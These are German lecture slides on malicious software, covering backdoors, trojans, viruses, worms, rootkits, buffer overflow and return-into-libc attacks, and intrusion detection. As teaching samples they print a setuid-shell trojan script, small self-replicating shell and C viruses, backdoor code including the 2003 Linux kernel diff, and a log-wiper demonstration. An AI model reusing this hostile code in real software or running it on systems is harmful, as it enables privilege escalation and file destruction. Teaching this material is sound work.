1 / 84 Vorlesung Informationssicherheit Thema 5: Bösartige Software Robert Baumgartl 24. Juni 2015
Überblick Bösartige Software Wirtsprogramm nötig unabhängig Hintertüren Logische Bomben Viren Würmer Trojanische Pferde verbreiten sich selbständig Abbildung: Mögliche Kategorisierung bösartiger Software lokale vs. entfernte Angriffe on-line- vs. off-line-angriffe 2 / 84
3 / 84 Logische Bomben Idee: Implantierung bösartigen Codes in Applikationen (oder in das BS), Aktivierung des Codes, sobald eine bestimmte Aktivierungsbedingung erfüllt Aktivierungsbedingung Eintritt eines Datums (logische) Zeitbombe (Kalender von Aktivierungsdaten: http://vil.nai.com/vil/calendar/virus_calendar.aspx) meist simples Löschen von Daten häufig eingesetzt, um Rache für Entlassung o. ä. zu üben
Ausschnitt aus dem McAfee-Aktivierungskalender 4 / 84 12. Mai W97M/Alamat, W97M/Yous, VBS/Horty.b@MM, VBS/Horty.a@MM, WM/Alliance.A, WM/Envader.A (Intended), WM/Eraser.A:Tw, VBS/Aqui 13. Mai VBS/Aqui, VBS/Zync, WM/Eraser.A:Tw, VBS/Alphae, WM/Envader.A (Intended), Twno.A, WM/BOOM.A;B, WM/BADBOY.A;B;C, WM/FRIDAY.D, WM/FRIDAY.A, WM/Goldsecret.B:Int,WM/CVCK1.B;E, W97M/Rapmak.a, W97M/Yous, W97M/Alamat, WM/SHOWOFF.G, W97M/BackHand.A, W97M/Idea.A, W97M/Digma 14. Mai X97M/Jal.a, VBS/San@M, W97M/Este, W97M/Alamat, W32/SoftSix.worm, W97M/Yous, VBS/Valentin@MM, WM/PHARDERA.C ;D (INTENDED), W97M/Class.B, W97M/Class.D, W97M/Ekiam, WM/Eraser.A:Tw, VBS/Aqui 15. Mai...
Logische Bomben Beispiel: Donald Gene Burleson, Programmierer für Versicherung USPA & IRA, Ft. Worth, TX entlassen am 18. 9. 1985 (Grund: persönliche Schwierigkeiten) am 21. 9. 1985 um 3 Uhr werden 168.000 Datensätze aus der Datenbank des Unternehmens gelöscht Code wurde bei Restaurierung der gelöschten Datensätze gefunden Vor Gericht: Benson, who spent four days testifying about how he uncovered the scheme, said the destructive programs were created Sept. 2 and Sept. 3, 1985, on Burleson s computer terminal by someone using Burleson s computer password. (http://catless.ncl.ac.uk/risks/7.56.html) 5 / 84
6 / 84 Hintertüren (Back Doors) Idee: Einbau (nichtdokumentierter) Schnittstellen in Software zwecks späteren (unautorisierten) Zugriffes auf das System. Mißbrauch von geheimen Debugging-Schnittstellen schwierig von BS-Seite aus zu erkennen häufiges Relikt aus der Produktentwicklung Behörden sind häufig der Meinung, ein Anrecht auf Hintertüren zu haben Gegenmaßnahme: Code Reviews, Open Source symmetrische vs. asymmetrische Hintertüren viele Würmer installieren Back Doors Klassiker: Back Orifice (http://www.cultdeadcow.com/tools/bo.php) feste Master-BIOS-Passworte, z. B. lkwpeter bei Award BIOS
Beispiel einer Hintertür 7 / 84 Beispiel: Login-Code mit Hintertür (Tanenbaum: Modern Operating Systems, 2001, S. 610) while (TRUE) { printf("login: "); get_string(name); disable_echoing(); printf("password: "); get_string(password); enable_echoing(); v = check_validity(name, password); if (v strcmp(name, "zzzzz") == 0) break; } execute_shell(name);
Beispiel 2 (Backdoor im Linux-Kern; nice try) 8 / 84 From: Larry McVoy [email blocked] Subject: Re: BK2CVS problem Date: Wed, 5 Nov 2003 14:23:02-0800 On Wed, Nov 05, 2003 at 12:58:13PM -0800, Matthew Dharm wrote: > Out of curiosity, what were the changed lines? --- GOOD 2003-11-05 13:46:44.000000000-0800 +++ BAD 2003-11-05 13:46:53.000000000-0800 @@ -1111,6 +1111,8 @@ schedule(); goto repeat; } + if ((options == ( WCLONE WALL)) && (current->uid = 0)) + retval = -EINVAL; retval = -ECHILD; end_wait4: current->state = TASK_RUNNING; --- Larry McVoy lm at bitmover.com
9 / 84 Beispiel 2 (Backdoor im Linux-Kern; nice try) jemand modifizierte die Kernelquellen (unautorisiert) fraglicher Code gehört zu sys_wait4(), d. h. dem Systemruf wait4() verkleideter Code ; (current->uid = 0) sieht so ähnlich aus wie (current->uid == 0) wenn jemand wait4() aufruft und die Optionen WCLONE und WALL sind gesetzt, so erhält der Rufende root-rechte Code wurde beim Review entdeckt ( It s not a big deal, we catch stuff like this, but it s annoying to the CVS users. )
10 / 84 Backdoors Weitere Beispiele Das FBI hat (wahrscheinlich) Vertragspartner gebeten, den IPsec-Stack von OpenBSD mit Backdoors auszustatten (14. 12. 2010). http://marc.info/?l=openbsd-tech&m= 129236621626462&w=2 Die Konfiguration einiger Router der Firma D-Link kann mittels eines Browsers modifiziert werden, wenn der User-Agent-String die Zeichenkette mlset_roodkcableoj28840ybtide enthält (12. 10. 2013). http://www.devttys0.com/2013/10/ reverse-engineering-a-d-link-backdoor/
11 / 84 Trojanische Pferde ( Trojaner ) Idee: dem Nutzer ein Programm unterschieben, welches bei Aktivierung unerlaubte Aktionen ausführt anstelle eines Eindringlings führt ein autorisierter Nutzer Schadcode aus Beispiel: gefälschter Login-Bildschirm Klassiker: Compiler, der unbemerkt bösartigen Code in übersetzte Programme einbaut (Ken Thompson: Reflections on Trusting Trust, CACM 4(27), S. 761ff.) vgl. " Bundestrojaner"
12 / 84 Beispiel eines simplen UNIX-Trojaners (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm./ls ls $* kopiert und versteckt Shell setzt das SetUID-Bit und macht die Shell für alle ausführbar läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden Zugriff auf Daten des Angegriffenen
13 / 84 Beispiel eines simplen UNIX-Trojaners (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm./ls ls $* kopiert und versteckt Shell setzt das SetUID-Bit und macht die Shell für alle ausführbar läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden Zugriff auf Daten des Angegriffenen
14 / 84 Beispiel eines simplen UNIX-Trojaners (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm./ls ls $* kopiert und versteckt Shell setzt das SetUID-Bit und macht die Shell für alle ausführbar läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden Zugriff auf Daten des Angegriffenen
15 / 84 Beispiel eines simplen UNIX-Trojaners (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm./ls ls $* kopiert und versteckt Shell setzt das SetUID-Bit und macht die Shell für alle ausführbar läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden Zugriff auf Daten des Angegriffenen
16 / 84 Beispiel eines simplen UNIX-Trojaners (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm./ls ls $* kopiert und versteckt Shell setzt das SetUID-Bit und macht die Shell für alle ausführbar läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden Zugriff auf Daten des Angegriffenen
17 / 84 (Computer)-Viren A virus is a program that is able to infect other programs by modifying them to include a possibly evolved copy of itself. (Fred Cohen) Definition A virus is a program that reproduces its own code by attaching itself to other executable files in such a way that the virus code is executed when the infected executable file is executed. Anmerkungen: Implementationssprache irrelevant keine Schadroutine nötig Wurm ist ggf. auch ein Virus Beispiele: Bootsektor-V., Makro-V., polymorphe V.
18 / 84 Beispiel für viralen (virulenten?) Code for i in *.sh; do if test "./$i"!= "$0"; then tail -n 5 $0 cat >> $i; fi done Analyse: beschränkt auf eigenes Verzeichnis mehrfache Infektion wahrscheinlich kein Payload leicht zu analysieren ;-)
19 / 84 Beispiel für viralen (virulenten?) Code for i in *.sh; do if test "./$i"!= "$0"; then tail -n 5 $0 cat >> $i; fi done Analyse: beschränkt auf eigenes Verzeichnis mehrfache Infektion wahrscheinlich kein Payload leicht zu analysieren ;-)
20 / 84 Beispiel für viralen (virulenten?) Code for i in *.sh; do if test "./$i"!= "$0"; then tail -n 5 $0 cat >> $i; fi done Analyse: beschränkt auf eigenes Verzeichnis mehrfache Infektion wahrscheinlich kein Payload leicht zu analysieren ;-)
21 / 84 Beispiel für viralen (virulenten?) Code for i in *.sh; do if test "./$i"!= "$0"; then tail -n 5 $0 cat >> $i; fi done Analyse: beschränkt auf eigenes Verzeichnis mehrfache Infektion wahrscheinlich kein Payload leicht zu analysieren ;-)
22 / 84 Beispiel für viralen (virulenten?) Code for i in *.sh; do if test "./$i"!= "$0"; then tail -n 5 $0 cat >> $i; fi done Analyse: beschränkt auf eigenes Verzeichnis mehrfache Infektion wahrscheinlich kein Payload leicht zu analysieren ;-)
Ein (etwas) besserer Virus 23 / 84 for i in *.sh; do if test "./$i"!= "$0"; then HOST=$(echo -n $(tail -10 $i)) VIR=$(echo -n $(tail -10 $0)) if [ "$HOST"!= "$VIR" ] then tail -n 10 $0 cat >> $i; fi fi done
24 / 84 Bestandteile eines Virus Infektionsmechanismus: Aufsuchen von Zielen, Replikation Routine(n) zum Verbergen: vor dem Nutzer oder Anti-Viren-Software Trigger: Entscheidung, ob bzw. wann Nutzlast aktiviert wird Nutzlast: zufälliger oder beabsichtigter Schaden oder Spaß Beispiel: blackwolf.c (nächste Folie)
25 / 84 Simpler Virus in C blackwolf.c, leicht modifiziert # include <stdio. h> # i n c l u d e <dos. h> # i n c l u d e < d i r. h> FILE Virus, Host ; i n t x, y, done ; char b u f f [ 2 5 6 ] ; s t r u c t f f b l k f f b l k ; main ( ) { done = f i n d f i r s t ( "*.COM",& f f b l k, 0 ) ; / Find a.com f i l e / while (! done ) { / Loop for a l l COM s in DIR / p r i n t f ( "Infecting %s\n", f f b l k. ff_name ) ; / Inform user / Virus=fopen ( _argv [ 0 ], "rb" ) ; / Open i n f e c t e d f i l e / Host=fopen ( f f b l k. ff_name, "rb+" ) ; / Open new host f i l e / x=9504; / Virus size / while ( x >256) { / OVERWRITE new Host / fread ( buff,256,1, Virus ) ; / i n chunks of / f w r i t e ( buff,256,1, Host ) ; / 256 bytes / x =256; } fread ( buff, x, 1, Virus ) ; / F i n i s h o f f copy / f w r i t e ( buff, x, 1, Host ) ; f c l o s e a l l ( ) ; / Close both f i l e s and / done = f i n d n e x t (& f f b l k ) ; / go f o r another one. / } r e t u r n ( 0 ) ; }
26 / 84 Analyse: Blackwolf-Virus in C sucht alle.com-dateien im aktuellen Verzeichnis und infizierte diese (auf einmal) schnelle Infektion überschreibender Virus mäßig destruktiv: Virus-Code überschreibt Anfang der Ziele verbirgt sich nicht keine Nutzlast infiziert bei jeder Aktivierung, Ziele wachsen nicht, da überschreibend
Weitere Informationen zu Viren 27 / 84 An Illustrated Guide to the Worst Viruses in Computer History : http://www.computerviruscatalog.com/
28 / 84 Würmer An independently replicating and autonomous infection agent, capable of seeking out new host systems and infecting them via the network. (Jose Nazario: Defence and Detection Strategies against Internet Worms, Artech House, 2004) Bekannte Vertreter: W32.Blaster Melissa Mydoom Sasser Conficker
Komponenten eines Wurms 29 / 84 1. Aufklärung neuer Hosts als potentielle Angriffsziele IP-Adreßräume (partiell) durchsuchen lokale Suche in (z. B.) Konfigurationsdateien OS Fingerprinting, um BS-Typ und -Version zu ermitteln 2. Angriffscode Remote Exploit bekannter Schwachstellen Trojanisches Pferd (z.b. Mail mit attached Binary) benötigt für jede anzugreifende Plattform Exploit 3. Kommunikation z. B. mittels ICMP, UDP,..., E-Mail über verdeckte Kanäle Verbergen beteiligter Prozesse und Sockets mittels Kernelmodul oder durch Störung von Überwachungssoftware
Komponenten eines Wurms 30 / 84 4. Kommandoschnittstelle interaktiv oder indirekt (script-gesteuert) typische Kommandos: Up-/Download von Dateien, Flut-Ping, Generierung von HTTP-Requests,... 5. Verwaltung der erfolgreich angegriffenen Hosts verteilte oder zentralisierte Datenbank Liste aller befallenen Rechner in privatem IRC-Channel
Weitere Begriffe 31 / 84 Ransomware (kryptografisch sichere) Verschlüsselung des Massenspeichers Entschlüsselung nur nach Zahlung eines Lösegelds z. B. CryptoLocker (nutzt 2048-Bit-RSA-Schlüssel, forderte 400$) Rootkit Software, die zur Verschleierung der Kompromittierung eines Rechners dient Spyware Keylogger Hoax (z. B. Good-Times- Virus, Bonsai Kitten)
Hoax: Bonsai Kitten 32 / 84
Rootkits 33 / 84 Def. Ein Rootkit ist ein (üblicherweise unerwünschtes) Programm, das sich nach Installation vor dem Nutzer verbirgt. Merkmale: Installation typischerweise nach erfolgreichem Einbruch, um Einbruchszweck abzusichern, z. B.: dauerhafte Unterwanderung des Systems Diebstahl von Passwortdaten per Keylogger oder Sniffer verschafft sich keine root-privilegien, sondern benötigt diese bei Installation Eintrittsvektoren: versehentliches Ausführen physischer Zugriff des Angreifers auf System Einbruch via Netzwerk
34 / 84 Rootkits dateibasierte vs. kernelbasierte Rootkits 1. dateibasierte Rootkits tauschen Werkzeuge aus, die zur Detektion des Rootkits genutzt werde könnten (ssh, ps, ls, netstat) Unterart: Library Rootkits: tauschen die entsprechenden Systembibliotheken aus laufen im User Mode 2. kernelbasierte Rootkits modifizieren (Überraschung!) den Kernel z. B. über Modulmechanismus oder Speicherabbild (/dev/kmem) äußerst schwierig zu detektieren
35 / 84 Rootkits Gegenmaßnahmen 1. Unrechtmäßigen root-zugriff verhindern 2. Unrechtmäßigen root-zugriff verhindern (again!) 3. Deaktivierung des Modulmechanismus ( alle Treiber statisch in den Kernel kompilieren) 4. Vergleich nach außen geöffnete Ports (netstat) mit externem Portscan (nmap) Achtung, Hackertool! 5. Suche nach charakteristischen Zeichenketten im Hauptspeicher (Werkzeug chkrootkit) 6. Boot von sauberem Datenträger (Live-CD) und Suche nach verdächtigen Dateien
Angriffstechniken 36 / 84
37 / 84 Buffer Overflow (Sehr einfaches) verwundbares Programm # include <stdio. h> i n t main ( i n t argc, char argv [ ] ) { char buffer [ 5 1 2 ] ; i f ( argc > 1) { s t r c p y ( b u f f e r, argv [ 1 ] ) ; } r e t u r n 0; }
38 / 84 Buffer Overflow Prinzip bestimmte Funktionen der C-Bibliothek führen keine Längenprüfung ihrer Argumente aus (Klassiker: strcpy()) Idee: lokale Variablen (über deren Länge hinaus) mit einer solchen Funktion überfluten (Stack Overflow) Überschreiben der Rückkehradresse auf dem Stack mit Adresse einer Schadroutine bei Verlassen der aktuellen Funktion Sprung zur Schadroutine Ursache: mögliches Verlassen von Feldgrenzen in C, ungeprüfte Länge der Argumente von Bibliotheksfunktionen wie strcpy() oder gets(), gezielte Manipulation von Zeigervariablen
39 / 84 Stack Overflow Ausschnitt des Stacks hohe Adressen niedrige Adressen...... Funktionsparameter <Ret> SFP lokale Variablen Puffer
40 / 84 Stack Overflow Ausschnitt des Stacks hohe Adressen niedrige Adressen...... Funktionsparameter <Ret> SFP lokale Variablen Puffer
41 / 84 Stack Overflow Ausschnitt des Stacks hohe Adressen niedrige Adressen...... Funktionsparameter <Ret> SFP lokale Variablen Puffer
42 / 84 Stack Overflow Ausschnitt des Stacks hohe Adressen niedrige Adressen...... Funktionsparameter <Ret> SFP lokale Variablen Puffer
43 / 84 Stack Overflow Ausschnitt des Stacks hohe Adressen niedrige Adressen...... Funktionsparameter <Ret> SFP lokale Variablen Puffer
44 / 84 Buffer Overflow Einfache Gegenmaßnahmen Verzicht auf unsichere Funktionen, u.a. strcpy(), strcat(), sprintf(), vsprintf(), gets() bzw. Nutzung der Pendants mit Bereichsprüfung, aber: Semantik nicht übereinstimmend (z. B. nullterminiert strncpy() das Ziel nicht bei maximal langem String) Geschwindigkeitsnachteile Legacy Code?
45 / 84 Buffer Overflow Stackguard Idee: Schutz d. Rücksprungadresse durch zusätzliches Canary Word. Canary Word wird im Funktionsprolog angelegt Overflow überschreibt Canary beim Rücksprung aus Funktion wird Canary auf Integrität getestet Abbruch, wenn falscher Wert hohe Adressen niedrige Adressen...... Funktionsparameter <Ret> Canary SFP lokale Variablen Puffer
46 / 84 Buffer Overflow Wahl des Canary Word Terminator Canary Werte nutzen, die typische Zeichenkettenfunktionen terminieren Wert Symbol Semantik 0x00 - stoppt strcpy() 0x0a LF stoppt gets() 0x0d CR -1 EOF stoppt gets() Tabelle: Terminator Canary optimal ist z. B. 0x000d0aff Random Canary erst zum Programmstart generiert; Angreifer kann darauf nicht mehr reagieren (Angreifer läuft parallel zum angegriffenen Programm)
47 / 84 Stackguard Grenzen des Konzepts moderate Leistungseinbuße Lokale Variablen und Saved Frame Pointer nicht geschützt Canary Word u. U. durch Angreifer restaurierbar, wenn statisch vgl. Bulba, Kil3r : Bypassing Stackguard and Stackshield, Phrack, vol. 10, no. 56, 2000
48 / 84 StackShield Idee: 1. Rücksprungadresse im Prolog in eine extra Tabelle kopieren 2. im Epilog Kopie der Rücksprungadresse wieder an entsprechende Position im Stack schreiben 3. keine Prüfung auf Identität
49 / 84 Ausführungsverbot beschreibbarer Seiten (W X ) Einfachster Fall: Architektur unterstützt Execute-Recht im Seitentabelleneintrag (Beispiele: Sparc, PPC, IA64) Problem: IA32 tut dies nicht. Lösung 1: NX ( No-Execute ) aka Enhanced Virus Protection erfordert Physical/Page Address Extension (PAE) existiert eigentlich ab Pentium Pro NX jedoch erst ab Prescott-Kern (Intel), AMD64 Seitentabelleneintrag 64 Bit (anstatt 32) Seiten, Seitentabellen und Seitentabellenverzeichnis 4 KiB nur noch 1/4 der Einträge drittes Hierarchielevel (vgl. folgende Grafik) gegenwärtig: 36-Bit-Adressen (maximal: 52 Bit) Bit 63 ist das (No)-Execute-Bit
Adressumsetzung bei PAE 50 / 84 31 30 29...21 20...12 11...0 PTR Dir Table Offset lineare Adresse CR3 PageDirPt1 PageDirPt2 PageDirPt3 PageDirPt4 Page Directory Pointer Table PD Eintrag PTE gewähltes Byte gewählte Seite Page Directory 512 Einträge NX Bit (63) Page Tables 512 Einträge physischer Adreßraum
Ausführungsverbot beschreibbarer Seiten (W X ) II 51 / 84 Lösung 2: Emulation in Software alle PTEs der zu schützenden Bereiche (Stack, Heap, Daten) haben initial Supervisor-Bit gesetzt Pagefault bei Zugriff Handler: bei Instruction Fetch Abbruch der Task, Logging des Angriffs bei Datenzugriff: Rücksetzen des SV-Bits, Zugriff ausführen (Überführung der Übersetzung in Data-TLB), Setzen des SV-Bits weitere Datenzugriffe durch DTLB gecacht nur möglich, wenn getrennte Daten- und Code-TLBs
52 / 84 Ausführungsverbot beschreibbarer Seiten Einbau in Betriebssysteme: Linux ab 2.6.8 Windows XP ab SP2; kein Backport nach Windows 2000 PaX-System, vgl. http://pax.grsecurity.net
Address Space Layout Randomization (ASLR) 53 / 84 Beobachtung: Distanz zwischen Top-of-Stack (TOS) und anzugreifender Rücksprungadresse ist konstant, wird offline (werkzeuggestützt) erraten und in Exploit eingebaut. Idee: Anfangsadressen von Stack, Heap und Code werden zufällig zur Ladezeit generiert. Problem: eingeblendete shared Libraries müssen auch zufällig verteilt werden $ cat /proc/self/maps grep libc erschwert auch Return-into-libc-Exploits
54 / 84 Return-into-Libc Manipulation einer Rückkehradresse auf dem Stack mittels Buffer Overflow jedoch ( Rück -)Sprung in eine Shared Library (libc) anstatt zu eigenem Shellcode (Abb. nächste Folie) Beispiel: system("/bin/sh"); (führt /bin/sh -c /bin/sh aus) wenn angegriffenes Programm setuid root ist, wird damit eine root-shell geöffnet macht nichtausführbaren Stack wirkungslos
Stacklayout bei Return-into-Libc 55 / 84 originaler Stack: Argumente der (angegriffenen) Funktion Low lokale Variablen sfp RET arg0 arg1 arg2 High manipulierter Stack: Rückkehradresse aus libc Ruf Argument 0 des libc Rufes Überflutung sfp Adr in libc dummy arg0 system() {... } "/bin/sh" Code in der libc
56 / 84 Anmerkungen dummy-feld ist Rückkehradresse, die angesprungen wird, wenn system() verlassen wird irrelevant, wenn interaktive Shell gestartet wurde, da diese nicht zurückkehrt
Bestimmung der Einsprungadresse (statisch) 57 / 84 robge@hadrian$ cat dummy.c int main() { system(); } robge@hadrian$ gcc -o dummy dummy.c robge@hadrian$ gdb -q dummy Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x8048362 (gdb) run Starting program: /home/local/robge/src/cracking/dummy Breakpoint 1, 0x08048362 in main () (gdb) print system $1 = {<text variable, no debug info>} 0xb7ed8990 <system> Gegenmittel: Address Space Layout Randomization, Parameterübergabe in Registern (ELF64-SystemV ABI bei x86-64)
58 / 84 Dynamische Ermittlung der Einsprungadresse Idee: Sohn erzeugen, der kontinuierlich system("") aufruft Instruction Pointer springt zwischen main() und system() (libc-funktion) mittels ptrace() kann die genaue Adresse von system() bestimmt werden... Code ansehen...
Verkettung zweier libc-rufe 59 / 84 originaler Stack: Argumente der (angegriffenen) Funktion Low lokale Variablen sfp RET arg0 arg1 arg2 High manipulierter Stack: "dummy" Überflutung sfp Adr1 in libc Adr2 in libc arg0 für setuid arg0 für system setuid() {... } system() {... } "/bin/sh" =0x01010101 o.ä.
60 / 84 Verkettung zweier libc-rufe Reihenfolge setuid() system() setuid(0) leider unmöglich, da Pufferüberlauf damit vorzeitig abbrechen würde nur möglich, wenn erster libc-aufruf genau ein Argument übernimmt (dummy-lücke) weitere Rufe nicht möglich
61 / 84 Return-into-Libc-Angriff Weitere Techniken mehr als 2 libc-aufrufe mit beliebig vielen Argumenten (!!) Frame Pointer Lifting Frame Faking Nullbytes im angegriffenen Puffer ebenfalls möglich Literatur: Nergal : The advanced return-into-lib(c) exploits: PaX case study. Phrack #58, 2001
62 / 84 Heap-Overflow Idee: Manipulation von auf dem Heap angelegten Variablen durch das Überfluten eines unmittelbar davor gelegenen Puffers keine Rückkehradresse implizite Manipulation des Programmflusses unmöglich Reihenfolge der Adressen abhängig von Allokationsreihenfolge Exploit weniger regulär (abhängig vom Typ der manipulierten Information)
63 / 84 Integer-Overflow Literatur: blexim : Basic Integer Overflows, Phrack #60, 2002 Idee: Überlauf des Zahlenbereichs von Integervariablen führt zu negativen Zahlen, die in Vergleichsoperationen und als Funktionsargumente unterschiedlich interpretiert werden. kein Schadcode ausführbar Ziel: DoS
64 / 84 Integer-Overflow Beispiel int copybuffer (char *buffer, int len) { char mybuffer[800]; if (len > sizeof(mybuffer)) { return -1; } return memcpy(mybuffer, buffer, len); } Analyse: Typisches Beispiel eines Vorzeichen-Bugs memcpy erwartet unsigned int als 3. Parameter negatives len durch Test nicht erkannt wird als (sehr große) Längenangabe interpretiert Überlauf von mybuffer
65 / 84 Intrusion und Intrusion Detection Def. Intrusion Any intenional event where an intruder gains access that compromises the confidentiality, integrity, and availability of computers, networks or the data residing on them. (CERT-CC, 2002) Detektionsprinzipien: signatur-basiert vergleicht beobachtete Sequenzen von Ereignissen im System mit für Einbrüche charakteristischen Ereignissequenzen (Bsp.: hohe Anzahl fehlgeschlagener Anmeldeversuche von ein- und derselben IP-Adresse) schwach gegen neue, unbekannte Techniken anomalie-basiert nutzt Statistiken relevanter Systemparameter, um Ereignisse im System zu klassifizieren
66 / 84 Intrusion Detection Systems (IDS) = Software zur automatischen Erkennung von Einbrüchen 3 Typen: hostbasiert - überwacht genau einen Rechner (wertet Log-Dateien aus) netzbasiert - überwacht den Datenverkehr auf einem Netzsegment hybrid - kombinieren beide Techniken Mustererkennung über in Datenbank gespeicherte Signaturen, die verschiedene Angriffsmuster charakterisieren. Beispiele: snort samhain (http://www.la-samhna.de/samhain/ ) Tripwire
67 / 84 Systemimmanente Probleme insbesondere bei anomalie-basierten Systemen relativ hohe Fehlerrate (false positives) Gerichtsverwertbarkeit der generierten Daten fragwürdig IDS verhindern Einbrüche, Diebstähle, Sabotage diese können daher nicht gerichtlich verfolgt werden können zwar zur Erkennung von Einbrüchen, aber kaum als deren Beweis vor Gericht genutzt werden
Beispiel Logfileauswertung 68 / 84 idir:# zgrep Invalid /var/log/auth.log.1.gz Jan 4 09:04:37 localhost sshd[6750]: Invalid user admin from 83.16.12.42 Jan 4 14:12:52 localhost sshd[5458]: Invalid user staff from 211.53.78.104 Jan 5 19:15:45 localhost sshd[5033]: Invalid user staff from 202.194.3.61 Jan 5 21:22:43 localhost sshd[5052]: Invalid user rfmngr from 83.170.113.54 Jan 5 21:22:47 localhost sshd[5054]: Invalid user sales from 83.170.113.54 Jan 5 21:22:50 localhost sshd[5056]: Invalid user recruit from 83.170.113.54 Jan 5 21:22:53 localhost sshd[5058]: Invalid user alias from 83.170.113.54 Jan 5 21:22:56 localhost sshd[5060]: Invalid user office from 83.170.113.54 Jan 5 21:22:59 localhost sshd[5062]: Invalid user samba from 83.170.113.54 Jan 5 21:23:02 localhost sshd[5064]: Invalid user tomcat from 83.170.113.54 Jan 5 21:23:05 localhost sshd[5066]: Invalid user webadmin from 83.170.113.54 Jan 5 21:23:08 localhost sshd[5068]: Invalid user spam from 83.170.113.54 Jan 5 21:23:11 localhost sshd[5070]: Invalid user virus from 83.170.113.54 Jan 5 21:23:14 localhost sshd[5072]: Invalid user cyrus from 83.170.113.54 Jan 5 21:23:17 localhost sshd[5074]: Invalid user oracle from 83.170.113.54 Jan 5 21:23:20 localhost sshd[5076]: Invalid user michael from 83.170.113.54 Jan 5 21:23:23 localhost sshd[5078]: Invalid user ftp from 83.170.113.54 Jan 5 21:23:27 localhost sshd[5080]: Invalid user test from 83.170.113.54 Jan 5 21:23:29 localhost sshd[5082]: Invalid user webmaster from 83.170.113.54 Jan 5 21:23:36 localhost sshd[5084]: Invalid user postmaster from 83.170.113.54 Jan 5 21:23:39 localhost sshd[5086]: Invalid user postfix from 83.170.113.54 Jan 5 21:23:41 localhost sshd[5088]: Invalid user postgres from 83.170.113.54...
69 / 84 Etwas systematischer... Logfiles (Protokolldateien) sind Datensätze, die durch das System (z. B. syslogd) geschrieben werden enthalten stets Zeitstempel ( Uhr stellen!) liegen gewöhnlich in /var/log/ rotieren sind meist gewöhnliche Textdateien sind akribisch bei einer forensischen Analyse auszuwerten werden von Eindringlingen daher bevorzugt manipuliert
70 / 84 Was wird von Linux geloggt? Authentifizierungsvorgänge (sudo, ssh,... ): /var/log/auth.log Ereignisse, die den Kern i. e. S. betreffen: /var/log/kern.log detaillierte Systemoperationen im Syslog: /var/log/syslog Ereignisse rund um Daemons: /var/log/daemon.log Ereignisse des XWindows-Systems /var/log/xorg.0.log (informatorische) Nachrichten /var/log/messages /var/log/debug applikationsspezifische Logs: mail, dpkg, cups, apache2, samba
Loginvorgänge 71 / 84 /var/log/wtmp /var/run/utmp /var/log/lastlog Binärdateien utmp: wer ist momentan eingeloggt? wtmp zeichnet alle An- und Abmeldungen im System auf. lastlog enthält Zeitstempel der letzen Logins aller Nutzer w und who nutzen z. B. utmp: $ strace who 2>&1 grep utmp access("/var/run/utmpx", F_OK) = -1 ENOENT (No such file or directory) open("/var/run/utmp", O_RDWR) = -1 EACCES (Permission denied) open("/var/run/utmp", O_RDONLY) = 3
72 / 84 Die Shell loggt ebenfalls.bash_history zeichnet alle Kommandos des Nutzers auf chattr +au /home/user/.bash_history durch root verhindert das Löschen
73 / 84 Logfile-Cleaner Achtung! Hackerwerkzeug! ( 202c StGB droht) Beispiel: z2.c entfernt alle Einträge des Nutzers aus utmp, wtmp, lastlog weitere Literatur : http://packetstormsecurity.org/unix/penetration/logwipers/indexdate.html üblicherweise wird nicht sicher gelöscht
Beispiel Anwendung z2 und Detektierung 74 / 84 hadrian:#./z2 robge Zap2! hadrian:# lastlog grep robge robge **Noch nie angemeldet** hadrian:# chkrootkit ROOTDIR is / Checking amd... not found Checking basename... not infected Checking biff... not found Checking chfn... not infected Checking chsh... not infected Checking cron... not infected Checking crontab... not infected Checking date... not infected... Checking w55808... not infected Checking wted... 1 deletion(s) between Sat Jan 26 09:52:49 2008 and Sun Jan 27 16:48:23 2008 Checking scalper... not infected Checking slapper... not infected Checking z2... user robge deleted or never logged from lastlog!
75 / 84 Zentrale Logging-Instanz Idee: relevante Logfiles an eine zentrale Instanz sicher übertragen, dort auswerten und sichern RFC 3195 ( Reliable Delivery for Syslog ) einfachste Lösung: per cron und scp alle Logs auf Log-Rechner übertragen Problem: Zeitverzögerung erschwert Einbruchserkennung syslog-ng Central Loghost Mini-HOWTO (http://www.campin.net/newlogcheck.html)
Noch einige wichtige Werkzeuge zum Schluss... 76 / 84
77 / 84 Nmap Portscanner für Windows und Linux versucht, sequentiell zu allen well-known TCP-Ports des Zielrechners Verbindung mittels connect() herzustellen ( Liste offener Ports) auch ephemeral und UDP-Ports prüfbar Achtung! Hackerwerkzeug! ( 202c StGB droht) nur mit eigenen Rechnern spielen. kann ggf. das Betriebssystem des Zieles erraten
Einsatzbeispiel Nmap 78 / 84 hadrian:/home/local/robge/outgoing# nmap -O 192.168.178.1 Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2008-01-25 21:53 CET Interesting ports on fritz.box (192.168.178.1): Not shown: 1679 closed ports PORT STATE SERVICE 80/tcp open http MAC Address: 00:15:0C:FC:58:69 (AVM GmbH) Device type: general purpose Running: Linux 2.4.X 2.5.X OS details: Linux 2.4.0-2.5.20 Uptime 36.447 days (since Thu Dec 20 11:10:33 2007) Nmap finished: 1 IP address (1 host up) scanned in 6.258 seconds
79 / 84 Nessus Achtung! Hackerwerkzeug! ( 202c StGB droht) sog. Vulnerability Scanner für UNIX ermittelt potentielle Schwachstellen eines Zielsystems früher GPL, ab Version 3 closed source (?) Testprogramme für einzelne Schwachstellen werden als Plug-ins zur Verfügung gestellt Beschreibung einer Sicherheitslücke mittels Nessus Attack Scripting Language (NASL) 2 Plug-In-Feeds: direkt ($1200 pro Jahr und Scanner), delayed (7 Tage; frei) Trennung in Daemon und Client http://www.nessus.org/
Screenshot eines typischen Reports 80 / 84
